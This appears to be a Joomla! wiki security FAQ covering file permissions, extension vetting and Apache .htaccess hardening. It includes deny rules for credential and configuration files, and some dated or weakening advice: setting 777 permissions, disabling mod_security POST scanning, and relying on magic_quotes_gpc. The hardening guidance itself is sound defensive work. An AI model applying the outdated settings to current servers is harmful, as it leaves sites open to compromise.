Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

